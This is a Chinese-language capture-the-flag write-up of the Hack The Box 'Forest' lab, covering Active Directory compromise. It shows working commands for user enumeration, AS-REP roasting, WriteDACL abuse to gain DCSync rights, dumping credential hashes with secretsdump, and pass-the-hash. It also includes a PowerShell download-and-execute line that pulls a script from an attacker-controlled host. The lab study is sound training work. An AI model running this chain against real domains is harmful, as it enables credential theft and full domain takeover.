Active Directory 101-Forest
Forest
前言
学了一段时间的域渗透了,最近开了一个HTB的会员(老贵了)。想的是玩一下他那个Active Directory 101系列的靶机。这是第一台靶机 Forest后面有时间的话再玩一下那个cloud系列的云靶机。
信息收集
还是正常的扫描端口
nmap -sC -sV -p- 10.10.10.161
扫描得到端口信息
通过扫描得到端口开放信息中有Kerberos LDAP SMB WInrm RPC 主要这些敏感服务端口
Kerberos用户枚举
kerbrute_linux_amd64 userenum --dc 10.10.10.161 -d htb.local 字典地址
枚举到了 admin 用户
RPC用户枚举
rpcclient -U "" 10.10.10.161 建立连接
enumdomusers 枚举用户
Ldap用户枚举
ldapsearch -x -b "DC=htb,DC=local" -s base -h 10.10.10.161
经过对枚举结果的筛选后发现如下用户名
sebastien
lucinda
svc-alfresco
andy
mark
santi
在通过kerbrute 枚举得到用户确实存在
AS-REP Roasting
因为在设置svc-alfresco用户后,该用户不可以开预认证,因此我们可以直接拿到其TGT

将这段hash保存保存到本地文件中使用john暴破出来。

WINRM
由于开放了WINRM服务端口可以通过 evil winrm进行登录。
evil-winrm -u svc-alfresco -p s3rvice -i 10.10.10.161

Blood信息收集
登录进去后 可 通过上传blood确定攻击的路径。


滥用writeDACL 权限进行DCsync攻击实现权限提升
通过搜索“svc-alfresco”用户,我发现实际上该用户属于 Account Operators 组,该组是AD中的特权组之一,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。但是,不能更改属于Administrators或Domain Admins组的账号,也不能更改这些组。
svc-alfresco 到 Domain Admins 的路径,发现exchange windows permission组完全信任Account Operators 组,因此我们可以利用Account Operators 组的权限创建一个新用户,然后把他添加到exchange windows permission组,这样我们就可以对HTB.LOCAL进行一些操作了,我们看到exchange windows permission组的成员对htb.local用有writeDACL权限, 然后我们可以利用我们新添加的用户对HTB.LOCAL的 writeDACL权限进行恶意利用,进而实现权限提升.
后面的操作主要集中位创建一个用户然后利用缺陷 将他添加到不同的组中
net user test123 test123! /add /domain
net group #该命令的结果中找到了Exchange Windows Permissions组
net group 'Exchange Windows Permissions' test123 /add /domain
net localgroup #在该命令的结果中发现了Remote Management Users组
net localgroup 'Remote Management Users' test123 /add
然后登录到使用创建的用户登录。
python -m http.server 80
evil-winrm -u test123 -p test123! -i 10.10.10.161
powershell -nop -exec bypass -c "iex(New-Object Net.webclient).downloadstring('http://10.10.16.12/PowerView.ps1')"
Add-DomainObjectAcl -PrincipalIdentity 'test123' -TargetIdentity 'DC=htb,DC=local' -Rights DCSync
此时,我们就可以使用升级后的权限,我们可以使用secretsdump.py工具执行 DCSync 以转储“管理员”用户的 NTLM 哈希
secretsdump.py test123:'test123!'@10.10.10.161
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
...
...
...
[*] Cleaning up...
得到管理员的hash值就可以使用wmiexec直接登录到用户上去。

总结
通过对于开放服务的枚举得到了 svc-alfresco 用户。通过john破译出了密码。使用账号密码进行了登录 使用blood进行了一波信息收集。经过分析后发现当前用户所处组为Account Operators 组,该组被Exchange Windows Permissions组完全信任,所以我们新建了用户并将其添加到了该用户组,又因为,Exchange Windows Permissions组对HTB.LOCAL有WriteDACL权限,我们对其使用了DCsync攻击,成功获取到了管理员的hash,最终通过wmiexec哈希传递拿到了管理员权限。
参考链接
https://www.freebuf.com/author/%E5%8D%97%E5%9F%8E%E5%A4%95%E9%9B%BEhacker